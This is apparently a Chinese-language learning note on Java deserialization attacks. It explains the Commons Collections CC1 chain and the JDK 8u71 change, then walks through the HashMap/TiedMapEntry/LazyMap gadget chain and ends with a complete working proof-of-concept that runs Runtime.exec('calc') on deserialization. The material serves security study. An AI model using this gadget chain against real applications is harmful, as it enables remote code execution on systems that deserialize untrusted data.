之前复现了java cc1链子 
顺便在这进行一个总结
比喻 :InvokerTransformer类像一把万能钥匙,能通过反射调用任何方法。比如用钥匙打开“Runtime类”的锁,执行exec("calc")弹计算器
比喻 :为了绕过限制,攻击者需要多个“工具人”协作。ChainedTransformer就像一个流水线,把多个操作串联起来:
工具人A:先拿到Runtime对象(ConstantTransformer
工具人B:用万能钥匙调用exec方法(InvokerTransformer)
原理 :把这两个工具人按顺序放进ChainedTransformer,执行时会先获取Runtime对象,再调用exec方法。
比喻 :TransformedMap是一个被魔改的地图,当地图中的值被修改时(比如调用setValue),会自动触发流水线上的工具人
点火开关:反序列化入口(AnnotationInvocationHandler) 比喻 :AnnotationInvocationHandler是Java自带的“快递拆包员”,反序列化时会自动执行readObject方法(拆包裹逻辑)。攻击者把魔改地图塞进它的memberValues属性
触发流程 :
反序列化时,readObject方法遍历地图中的键值对
遍历到某个键值对时,调用setValue修改值,触发魔改地图的机关
高版本jdk的修改 在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。
通过
ChainedTransformer的transform方法的用法,定位到LazyMap的get方法
protected  final  Transformer factory;public  static  Map decorate (Map map, Factory factory)  {    return  new  LazyMap (map, factory); } public  Object get (Object key)  {                 if  (map.containsKey(key) == false ) {             Object  value  =  factory.transform(key);             map.put(key, value);             return  value;         }         return  map.get(key);     } 
 
逻辑 
检查键是否存在,不存在时创建值并存储,存在时直接返回。
接着寻找入口点
TiedMapEntry public  Object getValue ()  {    return  map.get(key); } public  int  hashCode ()  {    Object  value  =  getValue();     return  (getKey() == null  ? 0  : getKey().hashCode()) ^            (value == null  ? 0  : value.hashCode());  } 
 
TiedMapEntry的hashCode方法调用了getValue,getValue调用了get方法,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法
接下来寻找谁调用了hashCode方法
HashMap 通过之前对URLDNS链 的研究可知,HashMap的readObject方法有如下这行语句
putVal(hash(key), key, value, false, false);
而HashMap的hash方法调用了hashCode方法
static  final  int  hash (Object key)  {    int  h;     return  (key == null ) ? 0  : (h = key.hashCode()) ^ (h >>> 16 ); } 
 
而key的值是从readObject获取的
K  key  =  (K) s.readObject();
 
序列化时可以用HashMap的put方法传key和value
hashMap.put(tiedMapEntry, "1" ); 
 
但是hashmap的put会提前走完流程 
public  V put (K key, V value)  {    return  putVal(hash(key), key, value, false , true ); } 
 
由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。
这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。
Map  lazymap  =  LazyMap.decorate(new  HashMap (), new  ConstantTransformer ("1" ));TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (lazymap, "2" );HashMap<Object, Object> hashMap = new  HashMap <>(); hashMap.put(tiedMapEntry, "3" ); 
 
反射修改lazymap的factory的值
Class<LazyMap> lazyMapClass = LazyMap.class; Field  factoryField  =  lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap, ct); 
 
利用链
HashMap.readObject() HashMap.hash()     TiedMapEntry.hashCode()     TiedMapEntry.getValue()         LazyMap.get()             ChainedTransformer.transform()                 InvokerTransformer.transform()                     Method.invoke()                         Runtime.exec() 
 
POC package  org.example;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  java.io.*;import  java.lang.reflect.Field;import  java.util.HashMap;import  java.util.Map;public  class  cc1  {    public  static  void  main (String[] args)  throws  NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {         Transformer[] transformers = {                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , new  Class [0 ]}),                 new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , null }),                 new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" })         };         ChainedTransformer  ct  =  new  ChainedTransformer (transformers);         Map  lazymap  =  LazyMap.decorate(new  HashMap (), new  ConstantTransformer ("1" ));         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (lazymap, "2" );         HashMap<Object, Object> hashMap = new  HashMap <>();         hashMap.put(tiedMapEntry, "3" );         lazymap.remove("2" );         Class<LazyMap> lazyMapClass = LazyMap.class;         Field  factoryField  =  lazyMapClass.getDeclaredField("factory" );         factoryField.setAccessible(true );         factoryField.set(lazymap, ct);         serial(hashMap);         unserial();     }     public  static  void  serial (Object obj)  throws  IOException {         ObjectOutputStream  out  =  new  ObjectOutputStream (new  FileOutputStream ("cc6.bin" ));         out.writeObject(obj);     }     public  static  void  unserial ()  throws  IOException, ClassNotFoundException {         ObjectInputStream  in  =  new  ObjectInputStream (new  FileInputStream ("cc6.bin" ));         in.readObject();     } }